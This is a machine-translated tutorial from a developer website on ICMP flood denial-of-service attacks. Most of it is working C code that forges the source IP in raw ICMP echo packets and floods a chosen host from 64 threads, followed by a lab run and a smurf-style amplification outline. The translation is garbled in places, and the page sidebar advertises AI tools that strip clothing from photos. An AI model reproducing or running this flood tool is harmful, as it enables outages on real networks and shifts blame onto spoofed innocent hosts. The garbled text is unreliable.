ホームページ 運用・保守 Linuxの運用と保守 Linux -- ICMP フラッド攻撃のインスタンスの紹介

Linux -- ICMP フラッド攻撃のインスタンスの紹介

Jun 29, 2017 pm 03:41 PM
導入

この記事は主に Linuxプログラミングにおける ICMP フラッド攻撃に関する情報を皆さんに詳しく紹介していますので、興味のある方は参考にしてください

前回の記事「Linux プログラミング PING」の「実装」。 PING プログラムは ICMP プロトコルを使用して実装されます。このような PING プログラムの実装に加えて、ICMP には他にどのような未知の用途や興味深い用途がありますか?ここで、もう 1 つの有名な ICMP のブラック テクノロジーである ICMP フラッド攻撃を紹介します。

ICMP フラッド攻撃は、ハッカーが好んで使用する攻撃方法である、有名な DOS (Denial of Service) 攻撃の一種です。ICMP についての理解を深めるために、ICMP に基づいた ICMP の文章も書いてみます。フラッド攻撃アプレット。

フラッド攻撃とは、コンピュータ ネットワーク技術を使用して宛先ホストに大量の無駄なデータ パケットを送信し、宛先ホストが無駄なデータ パケットの処理で忙しくなり、通常のサービスを提供できなくなるネットワーク 動作 を指します。

ICMP フラッド攻撃: 名前が示すように、宛先ホストに ping パケットを大量に送信し、宛先ホストが ping パケットの処理でビジー状態になり、他の通常のリクエストを処理できなくなるというものです。これは ping パケットのフラッドに似ています。宛先ホストをフラッディングします。

ICMP フラッド攻撃を実装するには、次の 3 つの知識が必要です:

  • DOS 攻撃の原理

  • ICMP についての深い理解

  • 生のソケット プログラミング スキル

1 。 ICMP フラッド攻撃の原理

ICMP フラッド攻撃は ping に基づいて形成されますが、ping プログラムは目的やダウンタイムの問題をほとんど引き起こしません。これは、ping のパケットの送信速度が遅すぎるためです。私が実装したプログラムでは、ping パケットの送信速度は 1 秒あたり 1 パケットに制限されています。この速度は宛先ホストが ping パケットを処理するには十分です。したがって、「フラッド」現象を起こすためには、契約発行率を高める必要がある。 ICMP フラッド攻撃の 3 つの方法は次のとおりです:

(1) 直接フラッド攻撃

これには、ローカル ホストの帯域幅と宛先ホストの帯域幅の競合が必要です。たとえば、私のホストのネットワーク帯域幅は 30M です。あなたのホストのネットワーク帯域幅はわずか 3M なので、あなたのホストを水没させるフラッド攻撃を開始する成功率は非常に高いです。この攻撃方法では、攻撃側ホストの処理能力と帯域幅が攻撃対象ホストの処理能力と帯域幅よりも大きいことが必要です。そうでない場合は、攻撃を受けます。この考えに基づいて、高帯域幅で高性能のコンピュータを使用して、マルチスレッド方式を使用して複数の ICMP 要求メッセージを一度に送信することができます。これにより、宛先ホストはこれらの大量のメッセージの処理でビジーになり、結果として速度が遅くなります。速度やダウンタイムさえも。この方法には、相手が ICMP パケットの IP アドレスに基づいて攻撃元をブロックしてしまい、攻撃を継続できなくなるという大きな欠点があります。

(2) 偽 IP 攻撃

直接フラッド攻撃に基づいて、送信者の IP アドレスを別の IP に偽装します。自分の IP を他の被害者の IP に偽装すると、ホスト 1 の管理者が望む場合、被害者ホスト 1 の icmp 応答パケットが被害者ホスト 2 にも送信されます。ある野郎が彼を攻撃するためにパケットを送信したところ、ICMP パケットの送信元アドレスを確認したところ、ホスト 2 であることが判明したため、ホスト 2 がスケープゴートになりました。

(3) 反射攻撃

このタイプの攻撃の考え方は上記の 2 つの攻撃とは異なり、反射攻撃の設計はより巧妙です。実際、ここでの 3 番目のモードの攻撃モードは、最初の 2 つのモードを統合してアップグレードしたもので、反射攻撃は「借りたナイフで殺す」ようなものです。ターゲット ホストに送信されますが、他のホストのグループがそれをターゲット ホストと間違えて、ICMP 要求パケットを送信した後、宛先ホストに ICMP 応答パケットを送信し、宛先ホストに全方向からのフラッディングが発生します。 。たとえば、LAN 上の他のホストに ICMP 要求パケットを送信し、自分の IP アドレスを宛先ホストの IP として偽装します。このようにして、サブ宛先ホストが ICMP エコーの焦点になります。被害者のホストが攻撃元を特定するのは難しいため、この攻撃は非常に巧妙です。

2. ICMP フラッド攻撃プログラムの設計

ここでは、2 番目の方法を使用して設計したいと思います。 「借りたナイフで人を殺す」という 3 番目の方法はより巧妙ですが、実際には 2 番目の方法の変装方法をさらに拡張したもので、実装は似ています。

まず攻撃のモデル画像を与えます:

1. グループICMPパケット

ここでのパケット アセンブリは、PING プログラムを作成するときのパケット アセンブリとあまり変わりません。唯一注意する必要があるのは、送信元アドレスを偽装して責任を負わせるため、IP ヘッダー部分を埋める必要があることです。他人について。


void DoS_icmp_pack(char* packet)
{
  struct ip* ip_hdr = (struct ip*)packet;
  struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));

  ip_hdr->ip_v = 4;
  ip_hdr->ip_hl = 5;
  ip_hdr->ip_tos = 0;
  ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
  ip_hdr->ip_id = htons(getpid());
  ip_hdr->ip_off = 0;
  ip_hdr->ip_ttl = 64;
  ip_hdr->ip_p = PROTO_ICMP;
  ip_hdr->ip_sum = 0;
  ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址
  ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址

  icmp_hdr->icmp_type = ICMP_ECHO;
  icmp_hdr->icmp_code = 0;
  icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));
  //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了
}
ログイン後にコピー

2. パケット送信スレッドを構築します


void Dos_Attack()
{
  char* packet = (char*)malloc(ICMP_PACKET_SIZE);
  memset(packet, 0, ICMP_PACKET_SIZE);
  struct sockaddr_in to;
  DoS_icmp_pack(packet);

  to.sin_family = AF_INET;
  to.sin_addr.s_addr = dest;
  to.sin_port = htons(0);

  while(alive) //控制发包的全局变量
  {
    sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));    
  }

  free(packet); //记得要释放内存
}
ログイン後にコピー

3. パケット送信スイッチを作成します

セマフォ付き+ グローバル変数。 Ctrl+Cを押すと攻撃がオフになります。


void Dos_Sig()
{
  alive = 0;
  printf("stop DoS Attack!\n");
}
ログイン後にコピー

4. 全体的な アーキテクチャ

もちろん、パケットを一緒に送信するために 64 個のスレッドを使用して、攻撃の強度を高めることができます。しかし、私たちは実験をしているだけなので、それほど大掛かりにする必要はありません。


int main(int argc, char* argv[])
{
  struct hostent* host = NULL;
  struct protoent* protocol = NULL;
  int i;
  alive = 1;
  pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包  
  int err = 0;

  if(argc < 2)
  {
    printf("Invalid input!\n");
    return -1;
  }

  signal(SIGINT, Dos_Sig);

  protocol = getprotobyname(PROTO_NAME);
  if(protocol == NULL)
  {
    printf("Fail to getprotobyname!\n");
    return -1;
  }

  PROTO_ICMP = protocol->p_proto;

  dest = inet_addr(argv[1]);

  if(dest == INADDR_NONE)
  {
    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
      printf("Invalid IP or Domain name!\n");
      return -1;
    }
    memcpy((char*)&dest, host->h_addr, host->h_length);

  }

  rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
  if(rawsock < 0)
  {
    printf("Fait to create socket!\n");
    return -1;
  }

  setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));

  printf("ICMP FLOOD ATTACK START\n");

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
    if(err)
    {
      printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);      
    }
  }

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    pthread_join(attack_thread[i], NULL);  //等待线程结束
  }

  printf("ICMP ATTACK FINISHI!\n");

  close(rawsock);

  return 0;
}
ログイン後にコピー

3. 実験

この実験は、私が持っている機器を使用し、ネットワークとプロトコルの応用をさらに理解することを目的としているため、攻撃の範囲は比較的狭いです。小さく、時間も数秒しかかからず、機器には影響しません。

攻撃手順についてもう一度話しましょう。ホスト 172.0.5.183 を独自の攻撃ホストとして使用し、ホスト 172.0.5.182 に偽装して、ホスト 172.0.5.9 に対して ICMP フラッド攻撃を開始します。

攻撃が始まります

「被害者」側の状況を観察しましょう。わずか 5 秒で、70,000 を超えるパケットが正しく受信され、処理のために上位層に配信されました。機械の動作に影響を与えないように、あまりやりすぎることはありません。

Wireshark を使用してパケットをキャプチャし、もう一度見てみると、ICMP パケットの量も非常に多いようです。 ICMP パケットの送信元アドレスは 172.0.5.182 (偽装されたアドレス) として表示され、エコー応答も 172.0.5.182 に送信されます。ホスト 172.0.5.182 は、なぜこれほど多くのエコー応答パケットを受信したのか説明がつかないと考えるでしょう。

攻撃実験が完了しました。

現在、より人気があるのは DDOS 攻撃です。これは、より強力で、より洗練された戦略であり、防御がより困難です。
実際、この種の DDoS 攻撃も DOS に基づいて開始されます。具体的な手順は次のとおりです。

1. 攻撃者は「増幅ネットワーク」にエコー要求メッセージをブロードキャストします。
2. 攻撃者は、ブロードキャスト メッセージのソース IP を攻撃されたホストとして指定します
3. 「ネットワークを増幅」し、攻撃されたホストにエコー応答を返します
4. DDoS 攻撃シナリオを作成します

ここでの「増幅されたネットワーク」は、次のようなネットワークとして理解できます。これらのホストのオペレーティング システムは、宛先アドレスがブロードキャスト アドレスであるある種の ICMP 要求パケットへの応答をサポートする必要があります。

攻撃戦略は非常に巧妙で、簡単に言うと、送信元アドレスを攻撃ホストの IP アドレスに偽装し、エコー要求を受信したホストが一斉にパケットを送信します。攻撃ホストによる集団攻撃の発生現場。

以上がLinux -- ICMP フラッド攻撃のインスタンスの紹介の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

wapiとは何かを詳しく紹介 wapiとは何かを詳しく紹介 Jan 07, 2024 pm 09:14 PM

インターネットを利用する際に「wapi」という言葉を目にしたことはあるかもしれませんが、「wapi」が何なのかよく分からないという方もいると思いますので、以下で詳しくご紹介します。 wapi とは: 回答: wapi は、無線 LAN の認証と機密性を確保するためのインフラストラクチャです。一般的にオフィスビルなどの近くでカバーされる赤外線やBluetoothなどの機能と似ています。基本的にこれらは小さな部門によって所有されているため、この機能の範囲はわずか数キロメートルです。 wapi の関連紹介: 1. Wapi は無線 LAN の伝送プロトコルです。 2. この技術により、狭帯域通信の問題を回避し、より良好な通信が可能になります。 3. 信号の送信に必要なコードは 1 つだけです

win11でPUBGゲームが実行できるか詳しく解説 win11でPUBGゲームが実行できるか詳しく解説 Jan 06, 2024 pm 07:17 PM

PlayerUnknown's Battlegrounds としても知られる Pubg は、2016 年の人気以来、多くのプレイヤーを魅了してきた非常に古典的なシューティング バトル ロイヤル ゲームです。最近win11システムがリリースされた後、多くのプレイヤーがwin11でpubgをプレイしたいと考えています。編集者に従ってwin11でpubgをプレイできるかどうかを確認してみましょう。 win11 で pubg をプレイできますか? 回答: Win11 で pubg をプレイできます。 1. win11の開始当初、win11ではtpmを有効にする必要があったため、多くのプレイヤーがpubgから追放されました。 2. しかし、プレイヤーのフィードバックに基づいて、Blue Hole はこの問題を解決し、win11 で pubg を正常にプレイできるようになりました。 3.居酒屋に出会ったら

Python 関数入門: exec 関数の概要と例 Python 関数入門: exec 関数の概要と例 Nov 03, 2023 pm 02:09 PM

Python 関数の紹介: exec 関数の概要と例 はじめに: Python では、exec は、文字列またはファイルに格納されている Python コードを実行するために使用される組み込み関数です。 exec 関数はコードを動的に実行する方法を提供し、プログラムが実行時に必要に応じてコードを生成、変更、実行できるようにします。この記事では、exec 関数の使い方と実用的なコード例を紹介します。 exec 関数の使用方法: exec 関数の基本的な構文は次のとおりです。

i5プロセッサがwin11をインストールできるかどうかの詳細な紹介 i5プロセッサがwin11をインストールできるかどうかの詳細な紹介 Dec 27, 2023 pm 05:03 PM

i5 は Intel が所有するプロセッサのシリーズで、第 11 世代 i5 にはさまざまなバージョンがあり、世代ごとに性能が異なります。したがって、i5 プロセッサーが win11 をインストールできるかどうかは、プロセッサーの世代によって異なりますので、エディターに従って個別に学習しましょう。 i5 プロセッサーは win11 にインストールできますか: 回答: i5 プロセッサーは win11 にインストールできます。 1. 第 8 世代以降の i51、第 8 世代以降の i5 プロセッサは、Microsoft の最小構成要件を満たすことができます。 2. したがって、Microsoft Web サイトにアクセスして「Win11 インストール アシスタント」をダウンロードするだけで済みます。 3. ダウンロードが完了したら、インストール アシスタントを実行し、プロンプトに従って Win11 をインストールします。 2. i51 8世代以前と8世代以降

最新のWin11サウンドチューニング方法を紹介 最新のWin11サウンドチューニング方法を紹介 Jan 08, 2024 pm 06:41 PM

最新の win11 にアップデートした後、システムのサウンドが少し変わったように感じますが、調整方法がわからないという人が多いので、このサイトでは、最新の win11 サウンド調整方法を紹介します。操作は難しくなく、選択肢も豊富ですので、ぜひダウンロードして試してみてください。最新のコンピュータ システム Windows 11 のサウンドを調整する方法 1. まず、デスクトップの右下隅にあるサウンド アイコンを右クリックし、「再生設定」を選択します。 2. 次に設定を入力し、再生バーの「スピーカー」をクリックします。 3. 次に、右下の「プロパティ」をクリックします。 4. プロパティの「拡張」オプションバーをクリックします。 5. この時、「すべての効果音を無効にする」の前にある√にチェックが入っている場合は、チェックを外します。 6. その後、以下の効果音を選択して設定し、クリックします。

PyCharm 初心者ガイド: 置換関数の包括的な分析 PyCharm 初心者ガイド: 置換関数の包括的な分析 Feb 25, 2024 am 11:15 AM

PyCharm は、開発効率を大幅に向上させる豊富な機能とツールを備えた強力な Python 統合開発環境です。その中でも置換機能は開発プロセスで頻繁に使用される機能の 1 つであり、開発者がコードを迅速に修正し、コードの品質を向上させるのに役立ちます。この記事では、初心者がこの関数をよりよく習得して使用できるように、特定のコード例と組み合わせて PyCharm の置換関数を詳細に紹介します。置換関数の概要 PyCharm の置換関数は、開発者がコード内の指定されたテキストを迅速に置換するのに役立ちます

コンピューター上のプリンタードライバーの場所に関する詳細情報 コンピューター上のプリンタードライバーの場所に関する詳細情報 Jan 08, 2024 pm 03:29 PM

多くのユーザーは、コンピューターにプリンター ドライバーをインストールしていますが、そのドライバーを見つける方法がわかりません。そこで、今日は、コンピューターのプリンタードライバーの場所について詳しくご紹介します。まだ知らない人のために、プリンタードライバーの場所を見てみましょう。元の意味を変えずに内容を書き換える場合、言語は中国語に書き換えられ、元の文章が表示される必要はありません。まず、サードパーティのソフトウェアを使用して検索することをお勧めします。 2. 右上隅の「ツールボックス」を見つけます。下の「デバイスマネージャー」をクリックします。書き換えられた文: 3. 下部にある [デバイス マネージャー] を見つけてクリックします。 4. 次に、[印刷キュー] を開いてプリンター デバイスを見つけます。今回はプリンターの名前とモデルです。 5. プリンター デバイスを右クリックすると、更新またはアンインストールできます。

ドージコインとは ドージコインとは Apr 01, 2024 pm 04:46 PM

Dogecoin は、インターネット ミームに基づいて作成された暗号通貨であり、固定供給上限がなく、速い取引時間、低い取引手数料、そして大規模なミーム コミュニティを備えています。用途には、少額の取引、チップ、慈善寄付が含まれます。しかし、その無限の供給、市場のボラティリティ、ジョークコインとしての地位は、リスクと懸念ももたらします。ドージコインとは何ですか? Dogecoin は、インターネットのミームやジョークに基づいて作成された暗号通貨です。起源と歴史: Dogecoin は、2 人のソフトウェア エンジニア、ビリー マーカスとジャクソン パーマーによって 2013 年 12 月に作成されました。当時人気だった「Doge」ミームからインスピレーションを得た、片言の英語を話す柴犬をフィーチャーしたコミカルな写真。特徴と利点: 無制限の供給: ビットコインなどの他の暗号通貨とは異なります。

See all articles